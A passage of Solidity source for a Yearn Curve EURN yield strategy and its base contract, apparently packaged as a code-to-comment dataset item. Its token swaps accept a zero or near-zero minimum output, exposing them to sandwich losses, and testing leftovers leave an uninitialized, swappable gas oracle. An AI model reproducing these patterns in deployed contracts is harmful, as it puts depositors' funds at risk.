* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
// Part: yearn/[email protected]/BaseStrategy
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
// health checks
bool public doHealthCheck;
address public healthCheck;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.4.3";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external view virtual returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* Also note that this value is used to determine the total assets under management by this
* strategy, for the purposes of computing the management fee in `Vault`
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external view virtual returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay;
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyEmergencyAuthorized() {
require(
msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(),
"!authorized"
);
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
modifier onlyVaultManagers() {
require(msg.sender == vault.management() || msg.sender == governance(), "!authorized");
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
* @param _strategist The address to assign as `strategist`.
* The strategist is able to change the reward address
* @param _rewards The address to use for pulling rewards.
* @param _keeper The adddress of the _keeper. _keeper
* can harvest and tend a strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
// initialize variables
minReportDelay = 0;
maxReportDelay = 86400;
profitFactor = 100;
debtThreshold = 0;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
function setHealthCheck(address _healthCheck) external onlyVaultManagers {
healthCheck = _healthCheck;
}
function setDoHealthCheck(bool _doHealthCheck) external onlyVaultManagers {
doHealthCheck = _doHealthCheck;
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate conversion from `_amtInWei` (denominated in wei)
* to `want` (using the native decimal characteristics of `want`).
* @dev
* Care must be taken when working with decimals to assure that the conversion
* is compatible. As an example:
*
* given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals),
* with USDC/ETH = 1800, this should give back 1800000000 (180 USDC)
*
* @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want`
* @return The amount in `want` of `_amtInEth` converted to `want`
**/
function ethToWant(uint256 _amtInWei) public view virtual returns (uint256);
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public view virtual returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* Liquidate everything and returns the amount that got freed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*/
function liquidateAllPositions() internal virtual returns (uint256 _amountFreed);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCostInWei` must be priced in terms of `wei` (1e-18 ETH).
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCostInWei The keeper's estimated gas cost to call `tend()` (in wei).
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
// If your implementation uses the cost of the call in want, you can
// use uint256 callCost = ethToWant(callCostInWei);
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCostInWei` must be priced in terms of `wei` (1e-18 ETH).
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/main/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCostInWei The keeper's estimated gas cost to call `harvest()` (in wei).
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) {
uint256 callCost = ethToWant(callCostInWei);
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 amountFreed = liquidateAllPositions();
if (amountFreed < debtOutstanding) {
loss = debtOutstanding.sub(amountFreed);
} else if (amountFreed > debtOutstanding) {
profit = amountFreed.sub(debtOutstanding);
}
debtPayment = debtOutstanding.sub(loss);
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
uint256 totalDebt = vault.strategies(address(this)).totalDebt;
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
// call healthCheck contract
if (doHealthCheck && healthCheck != address(0)) {
require(HealthCheck(healthCheck).check(profit, loss, debtPayment, debtOutstanding, totalDebt), "!healthcheck");
} else {
doHealthCheck = true;
}
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* The migration process should be carefully performed to make sure all
* the assets are migrated to the new address, which should have never
* interacted with the vault before.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault));
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyEmergencyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
* ```
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
* ```
*/
function protectedTokens() internal view virtual returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
// Part: StrategyCurveBase
abstract contract StrategyCurveBase is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
/* ========== STATE VARIABLES ========== */
// these should stay the same across different wants.
// curve infrastructure contracts
ICurveStrategyProxy public proxy =
ICurveStrategyProxy(0xA420A63BbEFfbda3B147d0585F1852C358e2C152); // Yearn's Updated v4 StrategyProxy
ICurveFi public curve; // Curve Pool, need this for depositing into our curve pool
address public gauge; // Curve gauge contract, most are tokenized, held by Yearn's voter
// keepCRV stuff
uint256 public keepCRV; // the percentage of CRV we re-lock for boost (in basis points)
uint256 public constant FEE_DENOMINATOR = 10000; // this means all of our fee values are in bips
address public constant voter = 0xF147b8125d2ef93FB6965Db97D6746952a133934; // Yearn's veCRV voter
// swap stuff
address public constant sushiswap =
0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; // default to sushiswap, more CRV liquidity there
IERC20 public constant crv =
IERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
IERC20 public constant weth =
IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
bool internal forceHarvestTriggerOnce; // only set this to true externally when we want to trigger our keepers to harvest for us
string internal stratName; // set our strategy name here
/* ========== CONSTRUCTOR ========== */
constructor(address _vault) public BaseStrategy(_vault) {}
/* ========== VIEWS ========== */
function name() external view override returns (string memory) {
return stratName;
}
function stakedBalance() public view returns (uint256) {
return proxy.balanceOf(gauge);
}
function balanceOfWant() public view returns (uint256) {
return want.balanceOf(address(this));
}
function estimatedTotalAssets() public view override returns (uint256) {
return balanceOfWant().add(stakedBalance());
}
/* ========== MUTATIVE FUNCTIONS ========== */
// these should stay the same across different wants.
function adjustPosition(uint256 _debtOutstanding) internal override {
if (emergencyExit) {
return;
}
// Send all of our LP tokens to the proxy and deposit to the gauge if we have any
uint256 _toInvest = balanceOfWant();
if (_toInvest > 0) {
want.safeTransfer(address(proxy), _toInvest);
proxy.deposit(gauge, address(want));
}
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
uint256 _wantBal = balanceOfWant();
if (_amountNeeded > _wantBal) {
// check if we have enough free funds to cover the withdrawal
uint256 _stakedBal = stakedBalance();
if (_stakedBal > 0) {
proxy.withdraw(
gauge,
address(want),
Math.min(_stakedBal, _amountNeeded.sub(_wantBal))
);
}
uint256 _withdrawnBal = balanceOfWant();
_liquidatedAmount = Math.min(_amountNeeded, _withdrawnBal);
_loss = _amountNeeded.sub(_liquidatedAmount);
} else {
// we have enough balance to cover the liquidation available
return (_amountNeeded, 0);
}
}
// fire sale, get rid of it all!
function liquidateAllPositions() internal override returns (uint256) {
uint256 _stakedBal = stakedBalance();
if (_stakedBal > 0) {
// don't bother withdrawing zero
proxy.withdraw(gauge, address(want), _stakedBal);
}
return balanceOfWant();
}
function prepareMigration(address _newStrategy) internal override {
uint256 _stakedBal = stakedBalance();
if (_stakedBal > 0) {
proxy.withdraw(gauge, address(want), _stakedBal);
}
}
function protectedTokens()
internal
view
override
returns (address[] memory)
{}
/* ========== SETTERS ========== */
// These functions are useful for setting parameters of the strategy that may need to be adjusted.
// Use to update Yearn's StrategyProxy contract as needed in case of upgrades.
function setProxy(address _proxy) external onlyGovernance {
proxy = ICurveStrategyProxy(_proxy);
}
// Set the amount of CRV to be locked in Yearn's veCRV voter from each harvest. Default is 10%.
function setKeepCRV(uint256 _keepCRV) external onlyAuthorized {
require(_keepCRV <= 10_000);
keepCRV = _keepCRV;
}
// This allows us to manually harvest with our keeper as needed
function setForceHarvestTriggerOnce(bool _forceHarvestTriggerOnce)
external
onlyAuthorized
{
forceHarvestTriggerOnce = _forceHarvestTriggerOnce;
}
}
// File: StrategyCurveEURN.sol
contract StrategyCurveEURN is StrategyCurveBase {
/* ========== STATE VARIABLES ========== */
// these will likely change across different wants.
IBaseFee public _baseFeeOracle; // ******* REMOVE THIS AFTER TESTING *******
uint256 public maxGasPrice; // this is the max gas price we want our keepers to pay for harvests/tends in gwei
// Uniswap stuff
IOracle public constant oracle =
IOracle(0x0F1f5A87f99f0918e6C81F16E59F3518698221Ff); // this is only needed for strats that use uniV3 for swaps
address public constant uniswapv3 =
0xE592427A0AEce92De3Edee1F18E0157C05861564;
IERC20 public constant usdt =
IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 public constant eurt =
IERC20(0xC581b735A1688071A1746c968e0798D642EDE491);
/* ========== CONSTRUCTOR ========== */
constructor(
address _vault,
address _curvePool,
address _gauge,
string memory _name
) public StrategyCurveBase(_vault) {
// You can set these parameters on deployment to whatever you want
maxReportDelay = 7 days; // 7 days in seconds
debtThreshold = 1 * 1e6; // we shouldn't ever have debt, but set a bit of a buffer
profitFactor = 1_000_000; // in this strategy, profitFactor is only used for telling keep3rs when to move funds from vault to strategy
healthCheck = 0xDDCea799fF1699e98EDF118e0629A974Df7DF012; // health.ychad.eth
// these are our standard approvals. want = Curve LP token
want.approve(address(proxy), type(uint256).max);
crv.approve(sushiswap, type(uint256).max);
// set our keepCRV
keepCRV = 1000;
// this is the pool specific to this vault, used for depositing
curve = ICurveFi(_curvePool);
// set our curve gauge contract
gauge = address(_gauge);
// set our strategy's name
stratName = _name;
// these are our approvals and path specific to this contract
eurt.approve(address(curve), type(uint256).max);
weth.approve(uniswapv3, type(uint256).max);
// set our max gas price
maxGasPrice = 100 * 1e9;
}
/* ========== MUTATIVE FUNCTIONS ========== */
// these will likely change across different wants.
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
// if we have anything in the gauge, then harvest CRV from the gauge
uint256 _stakedBal = stakedBalance();
if (_stakedBal > 0) {
proxy.harvest(gauge);
uint256 _crvBalance = crv.balanceOf(address(this));
// if we claimed any CRV, then sell it
if (_crvBalance > 0) {
// keep some of our CRV to increase our boost
uint256 _sendToVoter =
_crvBalance.mul(keepCRV).div(FEE_DENOMINATOR);
if (keepCRV > 0) {
crv.safeTransfer(voter, _sendToVoter);
}
uint256 _crvRemainder = _crvBalance.sub(_sendToVoter);
// sell the rest of our CRV
if (_crvRemainder > 0) {
_sell(_crvRemainder);
}
// convert our WETH to EURt, but don't want to swap dust
uint256 _wethBalance = weth.balanceOf(address(this));
uint256 _eurtBalance = 0;
if (_wethBalance > 0) {
_eurtBalance = _sellWethForEurt(_wethBalance);
}
// deposit our EURt to Curve if we have any
if (_eurtBalance > 0) {
curve.add_liquidity([0, _eurtBalance], 0);
}
}
}
// debtOustanding will only be > 0 in the event of revoking or if we need to rebalance from a withdrawal or lowering the debtRatio
if (_debtOutstanding > 0) {
if (_stakedBal > 0) {
// don't bother withdrawing if we don't have staked funds
proxy.withdraw(
gauge,
address(want),
Math.min(_stakedBal, _debtOutstanding)
);
}
uint256 _withdrawnBal = balanceOfWant();
_debtPayment = Math.min(_debtOutstanding, _withdrawnBal);
}
// serious loss should never happen, but if it does (for instance, if Curve is hacked), let's record it accurately
uint256 assets = estimatedTotalAssets();
uint256 debt = vault.strategies(address(this)).totalDebt;
// if assets are greater than debt, things are working great!
if (assets > debt) {
_profit = assets.sub(debt);
uint256 _wantBal = balanceOfWant();
if (_profit.add(_debtPayment) > _wantBal) {
// this should only be hit following donations to strategy
liquidateAllPositions();
}
}
// if assets are less than debt, we are in trouble
else {
_loss = debt.sub(assets);
}
// we're done harvesting, so reset our trigger if we used it
forceHarvestTriggerOnce = false;
}
// Sells our harvested CRV into the selected output.
function _sell(uint256 _amount) internal {
address[] memory crvPath = new address[](2);
crvPath[0] = address(crv);
crvPath[1] = address(weth);
IUniswapV2Router02(sushiswap).swapExactTokensForTokens(
_amount,
uint256(0),
crvPath,
address(this),
block.timestamp
);
}
// Sells our WETH for EURt
function _sellWethForEurt(uint256 _amount) internal returns (uint256) {
uint256 _eurtOutput =
IUniV3(uniswapv3).exactInput(
IUniV3.ExactInputParams(
abi.encodePacked(
address(weth),
uint24(500),
address(usdt),
uint24(500),
address(eurt)
),
address(this),
block.timestamp,
_amount,
uint256(1)
)
);
return _eurtOutput;
}
/* ========== KEEP3RS ========== */
function harvestTrigger(uint256 callCostinEth)
public
view
override
returns (bool)
{
// trigger if we want to manually harvest
if (forceHarvestTriggerOnce) {
return true;
}
// Should not trigger if strategy is not active (no assets and no debtRatio). This means we don't need to adjust keeper job.
if (!isActive()) {
return false;
}
// check if the base fee gas price is higher than we allow
if (readBaseFee() > maxGasPrice) {
return false;
}
return super.harvestTrigger(callCostinEth);
}
function readBaseFee() internal view returns (uint256 baseFee) {
// IBaseFee _baseFeeOracle = IBaseFee(0xf8d0Ec04e94296773cE20eFbeeA82e76220cD549); ******* UNCOMMENT THIS AFTER TESTING *******
return _baseFeeOracle.basefee_global();
}
// convert our keeper's eth cost into want
function ethToWant(uint256 _ethAmount)
public
view
override
returns (uint256)
{
uint256 callCostInWant;
if (_ethAmount > 0) {
uint256 callCostInEur =
oracle.ethToAsset(_ethAmount, address(eurt), 1800);
callCostInWant = curve.calc_token_amount([0, callCostInEur], true);
}
return callCostInWant;
}
/* ========== SETTERS ========== */
// set the maximum gas price we want to pay for a harvest/tend in gwei
function setGasPrice(uint256 _maxGasPrice) external onlyAuthorized {
maxGasPrice = _maxGasPrice.mul(1e9);
}
// set the maximum gas price we want to pay for a harvest/tend in gwei, ******* REMOVE THIS AFTER TESTING *******
function setGasOracle(address _gasOracle) external onlyAuthorized {
_baseFeeOracle = IBaseFee(_gasOracle);
}
}
|
if we have anything in the gauge, then harvest CRV from the gauge if we claimed any CRV, then sell it keep some of our CRV to increase our boost sell the rest of our CRV deposit our EURt to Curve if we have any debtOustanding will only be > 0 in the event of revoking or if we need to rebalance from a withdrawal or lowering the debtRatio don't bother withdrawing if we don't have staked funds if assets are greater than debt, things are working great! this should only be hit following donations to strategy if assets are less than debt, we are in trouble
|
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
